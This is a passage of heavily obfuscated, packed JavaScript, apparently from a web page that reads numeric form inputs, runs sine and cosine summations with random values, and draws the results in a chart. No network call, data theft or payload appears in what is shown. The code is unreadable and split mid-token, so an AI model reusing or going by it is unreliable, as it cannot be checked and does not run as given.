[4(\'WU\',\'\\1l\\r\\E\\t\')](\'\\2a\'),9r=1s;28(!![]){2j(9q[9r++])
{1n\'\\z\':6l*=1.5k;1o;1n\'\\12\':;1o;1n\'\\19\':1i 4Z=1s;1o;1n\'\\S\':7C+
+;1o;1n\'\\t\':1i 56=1s;1o;1n\'\\q\':k=1j[4(\'WW\',\'\\r\\1l\\17\\L\')]
(1j[4(\'WX\',\'\\E\\13\\1a\\H\')](1j[4(\'X0\',\'\\m\\W\\m\\15\')]
(1Q,1H[I[3S]]),6l),2C);1o;1n\'\\x\':2o(i=1s;1j[4(\'WZ\',\'\\U\\1K\\7\\c\')]
(i,2C);i++){56+=1j[4(\'9s\',\'\\O\\1w\\9\\1r\')]
(2r[i],1j[4(\'WY\',\'\\P\\Q\\D\\D\')](5r,1j[4(\'Xb\',\'\\n\\l\\M\\13\')]
(k,i)));4Z+=1j[4(\'Xc\',\'\\17\\1v\\o\\E\')](2r[i],1j[4(\'Xp\',\'\\1b\\2\\R\\1t\')]
(3l,1j[4(\'Xo\',\'\\U\\x\\15\\1t\')]
(k,i)))}1o;1n\'\\v\':6Z+=1j[4(\'Xn\',\'\\E\\2\\b\\D\')]
(1j[4(\'Xq\',\'\\1t\\X\\h\\J\')](5y,1j[4(\'Xr\',\'\\r\\1l\\17\\L\')]
(1j[4(\'Xt\',\'\\o\\o\\z\\q\')](56,56),1j[4(\'Xs\',\'\\d\\1C\\G\\G\')]
(4Z,4Z))),1j[4(\'Xm\',\'\\q\\o\\G\\S\')](3l,1j[4(\'Xl\',\'\\x\\6\\O\\Q\')]
(5l,4Z,56)));1o}2l}}1o;1n\'\\19\':1i 7C=1s;1o;1n\'\\S\':1i 6Z=1s;1o;1n\'\\t\':1i
6l=1N;1o;1n\'\\q\':2r[I[3m]]();1o;1n\'\\x\':;1o}2l}}}}}1u{if(3r)
{2s={};2s[\'\\W\']=6b[I[3u]];2s[\'\\13\']=6b[I[4g]];2M[I[3A]]
[I[6f]]=1j[4(\'Xd\',\'\\o\\c\\1p\\9\')](1j[4(\'Xg\',\'\\q\\o\\G\\S\')]
(2s[I[47]],32[1s]),I[3B]);2M[I[3A]][I[6d]]=1j[4(\'Xh\',\'\\14\\
1w\\G\\X\')](1j[4(\'10D\',\'\\D\\m\\1c\\Y\')]
(2s[I[6s]],32[1N]),I[3B])}}};if(1j[4(\'Xj\',\'\\q\\o\\G\\S\')]($,I[8P])[I[3q]]
(I[2q])){if(1j[4(\'Xi\',\'\\D\\m\\1c\\Y\')]
(1j[4(\'10C\',\'\\e\\A\\T\\12\')],1j[4(\'11x\',\'\\z\\r\\Y\\A\')]))
{if(1j[4(\'13W\',\'\\1v\\n\\D\\S\')](1j[4(\'13V\',\'\\c\\1k\\E\\F\')]
(1J,1j[4(\'13U\',\'\\z\\r\\Y\\A\')]($,I[4F])[I[1U]]()),1s))
{if(1j[4(\'13X\',\'\\1B\\1k\\14\\j\')]
(1j[4(\'13Y\',\'\\V\\z\\h\\T\')],1j[4(\'141\',\'\\e\\A\\T\\12\')])){C!
[]}1u{if(1j[4(\'140\',\'\\1v\\n\\D\\S\')](1H[I[27]](),0.5))
{if(1j[4(\'13Z\',\'\\A\\O\\R\\p\')]
(1j[4(\'13T\',\'\\U\\x\\15\\1t\')],1j[4(\'13S\',\'\\o\\c\\1p\\9\')])){C![]}1u{1R=!
[]}}1u{if(1j[4(\'13M\',\'\\J\\p\\U\\19\')]
(1j[4(\'13L\',\'\\J\\p\\U\\19\')],1j[4(\'13K\',\'\\1l\\r\\E\\t\')])){1R=!!
[]}1u{if(1j[4(\'13N\',\'\\A\\O\\R\\p\')](7Q,47)){1R=![]}1u{1R=!!
[]}}}}}}1u{62=1N}};if(1j[4(\'13O\',\'\\2\\16\\q\\F\')]($,I[8O])[I[3q]](I[2q]))
{if(1j[4(\'13R\',\'\\P\\1k\\s\\p\')]
(1j[4(\'13Q\',\'\\N\\H\\E\\s\')],1j[4(\'13P\',\'\\P\\1k\\s\\p\')]))
{if(1j[4(\'142\',\'\\J\\p\\U\\19\')](1j[4(\'143\',\'\\W\\Y\\M\\e\')]
(1J,1j[4(\'14g\',\'\\14\\1w\\G\\X\')]($,I[4F])[I[1U]]()),1s))
{if(1j[4(\'14f\',\'\\d\\1C\\G\\G\')]
(1j[4(\'14e\',\'\\d\\1C\\G\\G\')],1j[4(\'14h\',\'\\1B\\1k\\14\\j\')]))
{if(1j[4(\'14i\',\'\\17\\W\\t\\h\')](1H[I[27]](),0.5))
{if(1j[4(\'14k\',\'\\1v\\n\\D\\S\')]
(1j[4(\'14j\',\'\\b\\1h\\A\\19\')],1j[4(\'14d\',\'\\m\\W\\m\\15\')])){1R=!
[]}1u{1R=![]}}1u{if(1j[4(\'14c\',\'\\o\\o\\z\\q\')]
(1j[4(\'146\',\'\\O\\V\\1C\\12\')],1j[4(\'145\',\'\\1h\\13\\K\\c\')]))
{62=2z}1u{1R=!![]}}}1u{1i 8N=1j[4(\'144\',\'\\q\\T\\1k\\7\')]
(8l,1j[4(\'148\',\'\\p\\o\\j\\1w\')](1j[4(\'14b\',\'\\U\\1K\\7\\c\')]
(1j[4(\'14a\',\'\\1B\\1k\\14\\j\')],1j[4(\'149\',\'\\d\\1C\\G\\G\')]),\'\\1v\\8m\')
);c4=1j[4(\'13J\',\'\\W\\Y\\M\\e\')](8N)}}}1u{1i
8M=1j[4(\'13I\',\'\\D\\m\\1c\\Y\')][4(\'13j\',\'\\1h\\13\\K\\c\')]
(\'\\2a\'),8R=1s;28(!![]){2j(8M[8R++]){1n\'\\z\':1i 7O=1s;1o;1n\'\\12\':1i
69=1N;1o;1n\'\\19\':2r[I[3m]]();1o;1n\'\\S\':C 1j[4(\'13h\',\'\\m\\W\\m\\15\')]
(7O,7E);1n\'\\t\':;1o;1n\'\\q\':1i
7E=1s;1o;1n\'\\x\':28(1j[4(\'13k\',\'\\N\\H\\E\\s\')]
(69,1j[4(\'13l\',\'\\P\\1k\\s\\p\')](2C,1Q))){1i
97=1j[4(\'13o\',\'\\P\\1k\\s\\p\')][4(\'13n\',\'\\o\\o\\z\\q\')]
(\'\\2a\'),98=1s;28(!![]){2j(97[98++])
{1n\'\\z\':7O+=1j[4(\'13g\',\'\\P\\1k\\s\\p\')](1j[4(\'13f\',\'\\o\\o\\z\\q\')]
(5y,1j[4(\'139\',\'\\9\\L\\z\\o\')](1j[4(\'5Z\',\'\\13\\j\\6\\c\')]
(4y,4y),1j[4(\'138\',\'\\1l\\1p\\1p\\X\')]
(4z,4z))),1j[4(\'9d\',\'\\W\\19\\1r\\7\')](3l,1j[4(\'137\',\'\\V\\z\\h\\T\')]
(5l,4z,4y)));1o;1n\'\\12\':7E++;1o;1n\'\\19\':1i 4y=1s;1o;1n\'\\S\':1i
4z=1s;1o;1n\'\\t\':2o(i=1s;1j[4(\'13a\',\'\\D\\m\\1c\\Y\')](i,2C);i++)
{4y+=1j[4(\'13e\',\'\\1l\\n\\1k\\18\')](2r[i],1j[4(\'9d\',\'\\W\\19\\1r\\7\')]
(5r,1j[4(\'13c\',\'\\P\\1k\\s\\p\')](k,i)));4z+=1j[4(\'13q\',\'\\O\\V\\1C\\12\')]
(2r[i],1j[4(\'13D\',\'\\q\\T\\1k\\7\')](3l,1j[4(\'13C\',\'\\1B\\1k\\14\\j\')]
(k,i)))}1o;1n\'\\q\':69*=1.5k;1o;1n\'\\x\':k=1j[4(\'13B\',\'\\1h\\13\\K\\c\')]
(1j[4(\'13E\',\'\\A\\O\\R\\p\')](1j[4(\'13F\',\'\\W\\19\\1r\\7\')]
(1Q,1H[I[3S]]),69),2C);1o;1n\'\\v\':;1o}2l}}1o}2l}}};1i
7Q=1j[4(\'13G\',\'\\W\\19\\1r\\7\')](1j[4(\'13A\',\'\\1l\\n\\1k\\18\')]
(1J,2i[I[34]](I[9t])[I[3x]]),7R);if(1j[4(\'13t\',\'\\14\\z\\b\\z\')]($,I[8t])
[I[3q]](I[2q])){if(1j[4(\'13u\',\'\\O\\V\\1C\\12\')]
(1j[4(\'14m\',\'\\1l\\1p\\1p\\X\')],1j[4(\'13y\',\'\\X\\G\\1v\\m\')]))
{1j[4(\'13x\',\'\\U\\x\\15\\1t\')](5q)}1u{if(1j[4(\'13w\',\'\\c\\1k\\E\\F\')]
(7Q,47)){if(1j[4(\'14y\',\'\\17\\1v\\o\\E\')]
(1j[4(\'15n\',\'\\E\\2\\b\\D\')],1j[4(\'15t\',\'\\x\\b\\e\\1B\')]))
{2s={};2s[\'\\W\']=6b[I[3u]];2s[\'\\13\']=6b[I[4g]];2M[I[3A]]
[I[6f]]=1j[4(\'15r\',\'\\1l\\1p\\1p\\X\')](1j[4(\'15o\',\'\\13\\j\\6\\c\')]
(2s[I[47]],32[1s]),I[3B]);2M[I[3A]][I[6d]]=1j[4(\'158\',\'\\1t\\X\\h\\J\')]
(1j[4(\'15d\',\'\\P\\Q\\D\\D\')](2s[I[6s]],32[1N]),I[3B])}1u{1R=!
[]}}1u{if(1j[4(\'15f\',\'\\X\\G\\1v\\m\')]
(1j[4(\'15a\',\'\\c\\1k\\E\\F\')],1j[4(\'15c\',\'\\1h\\13\\K\\c\')])){1R=!![]}1u{C
5L}}}}}1i rd=1H[I[2w]](1H[I[27]]()*(1Q-1N+1N)+1N);if(rd==1N){1R=!![]}1u{1R=![]};$
(I[8F])[I[2T]](B(){1i 4L={};4L[4(\'151\',\'\\O\\V\\1C\\12\')]=B(8I,8K){C
8I(8K)};4L[4(\'156\',\'\\1t\\X\\h\\J\')]=B(8x,8s,8w){C
8x(8s,8w)};go=4L[4(\'15q\',\'\\P\\1k\\s\\p\')]($,25),go[I[7y]]
(I[2T]);4L[4(\'15h\',\'\\d\\1C\\G\\G\')](pb,I[7w],5Z)});B 3U(){1i
1q={};1q[4(\'15j\',\'\\13\\j\\6\\c\')]=4(\'15l\',\'\\1t\\X\\h\\J\');1q[4(\'14Z\',\'
\\U\\x\\15\\1t\')]=B(99,aQ){C 99<aQ};1q[4(\'14x\',\'\\1b\\2\\R\\1t\')]=B(ap,ao){C
ap*ao};1q[4(\'14E\',\'\\E\\2\\b\\D\')]=B(an,aq){C
an(aq)};1q[4(\'14w\',\'\\1b\\2\\R\\1t\')]=B(at,af){C
at*af};1q[4(\'14o\',\'\\D\\m\\1c\\Y\')]=B(ag,av){C
ag(av)};1q[4(\'14r\',\'\\1l\\r\\E\\t\')]=B(aK,aH){C
aK*aH};1q[4(\'14s\',\'\\o\\1r\\d\\10\')]=B(aG,aC){C
aG+aC};1q[4(\'14T\',\'\\O\\1w\\9\\1r\')]=B(aD,9I){C
aD*9I};1q[4(\'14U\',\'\\P\\1k\\s\\p\')]=B(9G,9O){C
9G*9O};1q[4(\'14X\',\'\\14\\z\\b\\z\')]=B(9E,9y,9w){C
9E(9y,9w)};1q[4(\'14J\',\'\\z\\r\\Y\\A\')]=B(a3,a2){C
a3/a2};1q[4(\'14H\',\'\\1l\\n\\1k\\18\')]=B(a6,a9){C
a6*a9};1q[4(\'14O\',\'\\1h\\13\\K\\c\')]=4(\'14N\',\'\\9\\L\\z\\o\');1q[4(\'14M\',\
'\\9\\L\\z\\o\')]=B(a8,a1){C a8*a1};1q[4(\'13v\',\'\\O\\1w\\9\\1r\')]=B(9Y,9X){C
9Y/9X};1q[4(\'11s\',\'\\K\\c\\Z\\1c\')]=B(9Z,9W){C
9Z/9W};1q[4(\'11v\',\'\\e\\A\\T\\12\')]=B(9V,9R){C
9V*9R};1q[4(\'11w\',\'\\d\\1C\\G\\G\')]=B(9T,9U){C
9T/9U};1q[4(\'11p\',\'\\O\\V\\1C\\12\')]=B(a0,a7){C
a0(a7)};1q[4(\'11j\',\'\\A\\O\\R\\p\')]=B(a5,a4){C
a5+a4};1q[4(\'11k\',\'\\2\\16\\q\\F\')]=B(9Q,9P){C 9Q!
==9P};1q[4(\'11n\',\'\\x\\6\\O\\Q\')]=4(\'11m\',\'\\z\\r\\Y\\A\');1q[4(\'11y\',\'\\
2\\16\\q\\F\')]=4(\'11z\',\'\\17\\W\\t\\h\');1q[4(\'11M\',\'\\P\\1k\\s\\p\')]=B(9B,
9C){C 9B(9C)};1q[4(\'11N\',\'\\U\\1K\\7\\c\')]=B(9D,9A){C
9D(9A)};1q[4(\'11P\',\'\\1t\\X\\h\\J\')]=B(9z,9v){C
9z===9v};1q[4(\'11J\',\'\\1l\\1p\\1p\\X\')]=4(\'11I\',\'\\17\\1v\\o\\E\');1q[4(\'11
C\',\'\\p\\o\\j\\1w\')]=B(9M,9N){C
9M(9N)};1q[4(\'11A\',\'\\x\\b\\e\\1B\')]=B(9K,9H,9J){C
9K(9H,9J)};1q[4(\'11E\',\'\\14\\z\\b\\z\')]=B(aa,ab){C
aa(ab)};1q[4(\'11G\',\'\\E\\2\\b\\D\')]=B(aE,aF){C
aE(aF)};1q[4(\'11f\',\'\\o\\o\\z\\q\')]=B(ay,az){C
ay(az)};1q[4(\'10Q\',\'\\U\\x\\15\\1t\')]=B(aA,aN){C
aA+aN};1q[4(\'10O\',\'\\n\\l\\M\\13\')]=B(aO,aP){C
aO*aP};1q[4(\'10S\',\'\\n\\13\\J\\1L\')]=B(aM,aL){C aM-
aL};1q[4(\'10V\',\'\\z\\r\\Y\\A\')]=B(aI,aw){C
aI(aw)};1q[4(\'10T\',\'\\x\\b\\e\\1B\')]=B(ai,aj){C
ai(aj)};1q[4(\'10M\',\'\\n\\13\\J\\1L\')]=B(ak,ah){C
ak(ah)};1q[4(\'10G\',\'\\K\\c\\Z\\1c\')]=B(ac,ad){C
ac(ad)};1q[4(\'10H\',\'\\P\\1k\\s\\p\')]=B(9u,9g){C
9u(9g)};1q[4(\'10L\',\'\\1h\\13\\K\\c\')]=B(9h,9a){C
9h(9a)};1q[4(\'dM\',\'\\2\\16\\q\\F\')]=B(9b,9o){C
9b(9o)};1q[4(\'10J\',\'\\W\\19\\1r\\7\')]=B(9k,8U){C
9k(8U)};1q[4(\'10W\',\'\\1l\\r\\E\\t\')]=B(8V,8Q){C
8V(8Q)};1q[4(\'11a\',\'\\9\\L\\z\\o\')]=B(8W,8X){C
8W(8X)};1q[4(\'dL\',\'\\d\\1C\\G\\G\')]=B(94,95){C
94(95)};1q[4(\'118\',\'\\1l\\n\\1k\\18\')]=B(96,93){C
96(93)};1q[4(\'11c\',\'\\z\\r\\Y\\A\')]=B(92,8Y){C
92*8Y};1q[4(\'11d\',\'\\P\\1k\\s\\p\')]=B(8Z,90){C
8Z/90};1q[4(\'117\',\'\\o\\c\\1p\\9\')]=B(91,ae){C 91-
ae};1q[4(\'110\',\'\\E\\2\\b\\D\')]=B(eP,dw){C eP!
==dw};1q[4(\'10Y\',\'\\q\\o\\G\\S\')]=4(\'111\',\'\\U\\x\\15\\1t\');1q[4(\'112\',\'
\\x\\b\\e\\1B\')]=B(dv,dx){C dv<dx};1q[4(\'113\',\'\\P\\1k\\s\\p\')]=B(dy,dA){C dy!
==dA};1q[4(\'12H\',\'\\K\\c\\Z\\1c\')]=4(\'12G\',\'\\o\\1r\\d\\10\');1q[4(\'12F\',\
'\\U\\1K\\7\\c\')]=B(dz,du,dt,do){C
dz(du,dt,do)};1q[4(\'12L\',\'\\o\\c\\1p\\9\')]=B(dn,dp){C
dn*dp};1q[4(\'12D\',\'\\A\\O\\R\\p\')]=B(dq){C dq()};4C=!4C;if(!4C)
{if(1q[4(\'12w\',\'\\n\\13\\J\\1L\')]
(1q[4(\'12v\',\'\\1l\\r\\E\\t\')],1q[4(\'12y\',\'\\n\\13\\J\\1L\')])){1i
ds=1q[4(\'12z\',\'\\E\\2\\b\\D\')][4(\'12C\',\'\\E\\2\\b\\D\')]
(\'\\2a\'),dr=1s;28(!![]){2j(ds[dr++]){1n\'\\z\':1i
4K=1s;1o;1n\'\\12\':f*=1.5k;1o;1n\'\\19\':12A+
+;1o;1n\'\\S\':2o(i=1s;1q[4(\'12M\',\'\\W\\Y\\M\\e\')](i,2C);i++)
{4t+=1q[4(\'12N\',\'\\d\\1C\\G\\G\')](2r[i],1q[4(\'130\',\'\\X\\G\\1v\\m\')]
(5r,1q[4(\'12Z\',\'\\E\\13\\1a\\H\')](k,i)));4K+=1q[4(\'12Y\',\'\\o\\o\\z\\q\')]
(2r[i],1q[4(\'131\',\'\\q\\o\\G\\S\')](3l,1q[4(\'132\',\'\\z\\r\\Y\\A\')]
(k,i)))}1o;1n\'\\t\':;1o;1n\'\\q\':134+=1q[4(\'133\',\'\\O\\V\\1C\\12\')]
(1q[4(\'12X\',\'\\1t\\X\\h\\J\')](5y,1q[4(\'12W\',\'\\1l\\r\\E\\t\')]
(1q[4(\'12Q\',\'\\e\\A\\T\\12\')](4t,4t),1q[4(\'12P\',\'\\o\\c\\1p\\9\')]
(4K,4K))),1q[4(\'12O\',\'\\W\\19\\1r\\7\')](3l,1q[4(\'12R\',\'\\1b\\2\\R\\1t\')]
(5l,4K,4t)));1o;1n\'\\x\':k=1q[4(\'12V\',\'\\1l\\n\\1k\\18\')]
(1q[4(\'12U\',\'\\1h\\13\\K\\c\')](1q[4(\'12T\',\'\\n\\l\\M\\13\')]
(1Q,1H[I[3S]]),f),2C);1o;1n\'\\v\':1i 4t=1s;1o}2l}}1u{1i
dB=1q[4(\'12u\',\'\\P\\Q\\D\\D\')][4(\'12t\',\'\\o\\1r\\d\\10\')]
(\'\\2a\'),dC=1s;28(!![]){2j(dB[dC++]){1n\'\\z\':1q[4(\'123\',\'\\13\\j\\6\\c\')]
(2A,2G);1o;1n\'\\12\':41=1s;1o;1n\'\\19\':1q[4(\'126\',\'\\J\\p\\U\\19\')]
(2A,3X);1o;1n\'\\S\':C;1n\'\\t\':1q[4(\'127\',\'\\c\\1k\\E\\F\')]
(2A,4v);1o;1n\'\\q\':1q[4(\'129\',\'\\D\\m\\1c\\Y\')]($,I[33])[I[3k]]
(I[6G]);1o;1n\'\\x\':1q[4(\'122\',\'\\n\\13\\J\\1L\')]($,I[33])[I[2F]]
(I[2E],I[3H]);1o}2l}}}1u{if(1q[4(\'121\',\'\\9\\L\\z\\o\')]
(1q[4(\'11V\',\'\\13\\j\\6\\c\')],1q[4(\'11U\',\'\\X\\G\\1v\\m\')]))
{1q[4(\'11T\',\'\\1t\\X\\h\\J\')]($,I[33])[I[3k]]
(I[6M]);1q[4(\'11X\',\'\\P\\1k\\s\\p\')]($,I[33])[I[2F]](I[2E],I[3t]);5M=21
4f();4v=1q[4(\'11Y\',\'\\X\\G\\1v\\m\')]
(2J,I[1Q],1O);1S=1q[4(\'12a\',\'\\2\\16\\q\\F\')]
(1J,1q[4(\'12b\',\'\\c\\1k\\E\\F\')]($,I[4X])[1s]
[I[57]]);2K=1q[4(\'12o\',\'\\1t\\X\\h\\J\')](1J,1q[4(\'12n\',\'\\q\\o\\G\\S\')]
($,I[5z])[I[1P]]());3f=1q[4(\'12m\',\'\\q\\T\\1k\\7\')]
(1J,1q[4(\'12p\',\'\\n\\l\\M\\13\')]($,I[5w])[I[1P]]
());29=1q[4(\'12q\',\'\\d\\1C\\G\\G\')](1q[4(\'12s\',\'\\14\\z\\b\\z\')](1H[I[27]]
(),1q[4(\'12r\',\'\\O\\V\\1C\\12\')]
(3f,2K)),2K);2U=1q[4(\'12l\',\'\\1v\\n\\D\\S\')]
(1J,1q[4(\'12k\',\'\\P\\1k\\s\\p\')]($,I[5g])[I[1P]]
());3C=1q[4(\'12e\',\'\\2\\16\\q\\F\')](1J,1q[4(\'12d\',\'\\14\\z\\b\\z\')]
($,I[5n])[I[1P]]());4j=1q[4(\'12c\',\'\\D\\m\\1c\\Y\')]
(1J,1q[4(\'12f\',\'\\m\\W\\m\\15\')]($,I[5h])[I[1P]]
());2R=1q[4(\'12g\',\'\\z\\r\\Y\\A\')](1J,1q[4(\'12j\',\'\\X\\G\\1v\\m\')]($,I[5x])
[I[1P]]());43=1q[4(\'
12i\',\'\\n\\l\\M\\13\')](1J,1q[4(\'12h\',\'\\D\\m\\1c\\Y\')]($,I[5o])[I[1P]]
());4n=1q[4(\'Xk\',\'\\1l\\n\\1k\\18\')](1J,1q[4(\'dM\',\'\\2\\16\\q\\F\')]
($,I[5B])[I[1P]]());39=1q[4(\'VB\',\'\\o\\o\\z\\q\')]
(1J,1q[4(\'OU\',\'\\14\\z\\b\\z\')]($,I[5m])[I[1P]]
());2O=1q[4(\'VC\',\'\\1l\\1p\\1p\\X\')](1J,1q[4(\'OS\',\'\\m\\W\\m\\15\')]
($,I[5e])[I[1P]]());2L=1q[4(\'OV\',\'\\U\\1K\\7\\c\')]
(1J,1q[4(\'dL\',\'\\d\\1C\\G\\G\')]($,I[5V])[I[1P]]
());3e=1q[4(\'OW\',\'\\E\\13\\1a\\H\')](1J,1q[4(\'OZ\',\'\\O\\1w\\9\\1r\')]
($,I[60])[I[1P]]());2t=1q[4(\'OY\',\'\\A\\O\\R\\p\')]
(1q[4(\'OX\',\'\\n\\l\\M\\13\')](1H[I[27]](),1q[4(\'OR\',\'\\z\\r\\Y\\A\')]
(3C,2U)),2U);6L=[];4N=1S;2c=1S;7z=1S;3E=1S;2h=1q[4(\'OK\',\'\\e\\A\\T\\12\')]
(1H[I[1O]](1q[4(\'OJ\',\'\\A\\O\\R\\p\')](1O,1q[4(\'OI\',\'\\1l\\n\\1k\\18\')]
(1O,2t))),3W);if(1q[4(\'OL\',\'\\1l\\1p\\1p\\X\')](2h,1e-8))
{if(1q[4(\'OM\',\'\\n\\l\\M\\13\')]
(1q[4(\'OP\',\'\\s\\n\\12\\7\')],1q[4(\'OO\',\'\\V\\z\\h\\T\')])){1i
dN=1q[4(\'ON\',\'\\z\\r\\Y\\A\')][4(\'P0\',\'\\W\\19\\1r\\7\')]
(\'\\2a\'),dO=1s;28(!![]){2j(dN[dO++])
{1n\'\\z\':re=1s;1o;1n\'\\12\':2o(i=1s;1q[4(\'Pd\',\'\\1l\\n\\1k\\18\')](i,2N);i++)
{re+=1q[4(\'Pc\',\'\\o\\1r\\d\\10\')](2W[i],1H[I[4k]]
(1q[4(\'Pf\',\'\\1h\\13\\K\\c\')](1q[4(\'Pg\',\'\\1h\\13\\K\\c\')]
(w,i),2N)));im+=1q[4(\'Pi\',\'\\1l\\1p\\1p\\X\')](2W[i],1H[I[5d]]
(1q[4(\'Ph\',\'\\q\\o\\G\\S\')](1q[4(\'Pb\',\'\\A\\O\\R\\p\')]
(w,i),2N)))}1o;1n\'\\19\':im=1s;1o;1n\'\\S\':;1o;1n\'\\t\':30[I[3h]]
([f,1q[4(\'Pa\',\'\\P\\Q\\D\\D\')](1H[I[7I]](im,re),2N),1H[I[82]]
(im,re)]);1o;1n\'\\q\':w=1q[4(\'P4\',\'\\1l\\n\\1k\\18\')]
(1q[4(\'P3\',\'\\1l\\r\\E\\t\')](1Q,1H[I[3S]]),f);1o}2l}}1u{2h=1e-
8}};if(1q[4(\'P2\',\'\\q\\o\\G\\S\')](29,2h)){if(1q[4(\'P5\',\'\\14\\z\\b\\z\')]
(1q[4(\'P6\',\'\\q\\o\\G\\S\')],1q[4(\'P9\',\'\\1l\\n\\1k\\18\')]))
{1q[4(\'P8\',\'\\D\\m\\1c\\Y\')]
(P7,\'\\z\')}1u{29=2h}};1Z=29;75=1s;7o=1s;7t=1s;6c=1s;6D=1s;7g=1s;3g=1s;7j=1s;58=1s
;1q[4(\'Oj\',\'\\E\\2\\b\\D\')](6y,3g,58,I[3D]);2G=1q[4(\'Om\',\'\\P\\1k\\s\\p\')]
(2J,I[4w],1q[4(\'Ol\',\'\\P\\1k\\s\\p\')](1q[4(\'Ok\',\'\\W\\19\\1r\\7\')]
(1H[I[27]](),1q[4(\'Oe\',\'\\2\\16\\q\\F\')]
(3e,2L)),2L));2Y=1q[4(\'Od\',\'\\q\\T\\1k\\7\')]($,I[40])[1s][I[3x]][I[4u]]();41=!!
[];1R=!![];7i=!![];24=[{\'\\W\':1s,\'\\13\':1s}];3i=21
7c[(4(\'O6\',\'\\q\\o\\G\\S\'))](I[6u],
{\'\\11\\17\\d\\F\\n\\c\\h\\1f\\s\\E\\6\\h\\H\\h\\c\':I[6w],\'\\R\\M\\1c\\10\\1c\':
I[6z],\'\\U\\h\\h\\10\\A\\s\\17\\11\\H\\1c\\E\':!![],\'\\17\\W\\Z\\b\\N\':
{\'\\R\\Z\\R\\H\\1c\':I[6x],\'\\Z\\s\\d\\H\\1f\\E\\1c\\15\\1c\\c\\h\':!
[]},\'\\17\\W\\Z\\b\\G\':
{\'\\R\\Z\\R\\H\\1c\':I[6E],\'\\Z\\s\\d\\H\\1f\\E\\1c\\15\\1c\\c\\h\':!
[]},\'\\R\\Z\\R\\H\\1c\':
{\'\\Q\\h\\s\\R\\6\\h\\H\\h\\c\':I[5s],\'\\Q\\h\\s\\R\\14\\Z\\U\\1c\':2Z,\'\\l\\17\
\E\\E\\Z\\s\\n\':2Z},\'\\E\\17\\R\\17\':
[{\'\\R\\13\\l\\1c\':I[5p],\'\\d\\h\\H\\h\\c\':I[3D],\'\\E\\17\\R\\17\\P\\h\\Z\\s\\
R\\b\':24}]});3i[I[49]]();1q[4(\'OA\',\'\\O\\V\\1C\\12\')](4x)}1u{C
1q[4(\'OC\',\'\\s\\n\\12\\7\')](I[26],5L)}}}B OD(){1i
1d={};1d[4(\'OF\',\'\\E\\13\\1a\\H\')]=B(dK,dJ){C dK-
dJ};1d[4(\'Ox\',\'\\z\\r\\Y\\A\')]=B(dE,dD){C
dE/dD};1d[4(\'Op\',\'\\E\\13\\1a\\H\')]=B(dF,dG){C
dF*dG};1d[4(\'Ow\',\'\\J\\p\\U\\19\')]=B(dI,dH){C
dI===dH};1d[4(\'Pj\',\'\\P\\Q\\D\\D\')]=4(\'Pk\',\'\\d\\1C\\G\\G\');1d[4(\'Qa\',\'\
\x\\6\\O\\Q\')]=4(\'Q9\',\'\\P\\Q\\D\\D\');1d[4(\'Q8\',\'\\p\\o\\j\\1w\')]=B(dm){C
dm()};1d[4(\'Qc\',\'\\n\\13\\J\\1L\')]=B(dl,d1){C
dl+d1};1d[4(\'Qd\',\'\\e\\A\\T\\12\')]=B(d0,d2){C
d0+d2};1d[4(\'Q6\',\'\\A\\O\\R\\p\')]=B(d3,d5){C
d3(d5)};1d[4(\'Q0\',\'\\E\\2\\b\\D\')]=B(d4,cZ){C
d4+cZ};1d[4(\'Q1\',\'\\P\\1k\\s\\p\')]=B(cY,cT){C
cY+cT};1d[4(\'Q2\',\'\\U\\x\\15\\1t\')]=B(cS,cU){C
cS(cU)};1d[4(\'Q4\',\'\\E\\2\\b\\D\')]=B(cV,cX){C
cV(cX)};1d[4(\'Qg\',\'\\W\\19\\1r\\7\')]=B(o0,cW){C
o0/cW};1d[4(\'Qt\',\'\\1l\\r\\E\\t\')]=B(d6,d7){C
d6%d7};1d[4(\'Qv\',\'\\U\\x\\15\\1t\')]=B(dh,dg){C
dh<dg};1d[4(\'Qy\',\'\\1l\\1p\\1p\\X\')]=B(di,dj){C
di+dj};1d[4(\'Qq\',\'\\P\\Q\\D\\D\')]=B(dk,df){C
dk/df};1d[4(\'Qi\',\'\\E\\13\\1a\\H\')]=B(de,d9){C
de+d9};1d[4(\'Ql\',\'\\P\\Q\\D\\D\')]=4(\'Qm\',\'\\n\\l\\M\\13\');1d[4(\'Qp\',\'\\1
h\\13\\K\\c\')]=B(aR,da){C aR/da};1d[4(\'Qn\',\'\\X\\G\\1v\\m\')]=B(db,dd){C
db/dd};1d[4(\'PW\',\'\\13\\j\\6\\c\')]=B(dc,dQ){C
dc*dQ};1d[4(\'Px\',\'\\14\\z\\b\\z\')]=B(dR,ew){C
dR===ew};1d[4(\'Py\',\'\\o\\c\\1p\\9\')]=B(ev,ex){C
ev>ex};1d[4(\'PB\',\'\\p\\o\\j\\1w\')]=B(ey,ez){C ey-
ez};1d[4(\'Pu\',\'\\J\\p\\U\\19\')]=B(eu,et){C
eu(et)};1d[4(\'Pn\',\'\\X\\G\\1v\\m\')]=B(eo,en){C
eo>en};1d[4(\'Pm\',\'\\n\\13\\J\\1L\')]=B(ep,eq){C
ep+eq};1d[4(\'Po\',\'\\D\\m\\1c\\Y\')]=B(es,er){C
es+er};1d[4(\'Ps\',\'\\b\\1h\\A\\19\')]=B(eA,eB){C eA!
=eB};1d[4(\'Pr\',\'\\W\\19\\1r\\7\')]=B(eL,eK){C
eL(eK)};1d[4(\'PD\',\'\\p\\o\\j\\1w\')]=B(eM,eN){C
eM(eN)};1d[4(\'PR\',\'\\E\\2\\b\\D\')]=B(eO,eJ){C
eO(eJ)};1d[4(\'PQ\',\'\\17\\W\\t\\h\')]=B(eI,eD){C eI!
==eD};1d[4(\'PS\',\'\\m\\W\\m\\15\')]=4(\'PT\',\'\\s\\n\\12\\7\');1d[4(\'PV\',\'\\W
\\19\\1r\\7\')]=B(eC,eE,eF){C eC(eE,eF)};1d[4(\'PO\',\'\\q\\T\\1k\\7\')]=B(eH,eG){C
eH===eG};1d[4(\'PN\',\'\\n\\13\\J\\1L\')]=B(em,el){C
em(el)};1d[4(\'PG\',\'\\1t\\X\\h\\J\')]=4(\'PF\',\'\\14\\z\\b\\z\');1d[4(\'PI\',\'\
\14\\1w\\G\\X\')]=4(\'PJ\',\'\\r\\1l\\17\\L\');1d[4(\'PM\',\'\\s\\n\\12\\7\')]=B(e1
,e0){C e1(e0)};1d[4(\'PK\',\'\\U\\x\\15\\1t\')]=B(e2,e3){C
e2(e3)};1d[4(\'O4\',\'\\V\\z\\h\\T\')]=B(e5,e4){C
e5(e4)};1d[4(\'Mn\',\'\\P\\1k\\s\\p\')]=B(dZ,dY){C dZ-
dY};1d[4(\'Mp\',\'\\1b\\2\\R\\1t\')]=B(dT,dS){C
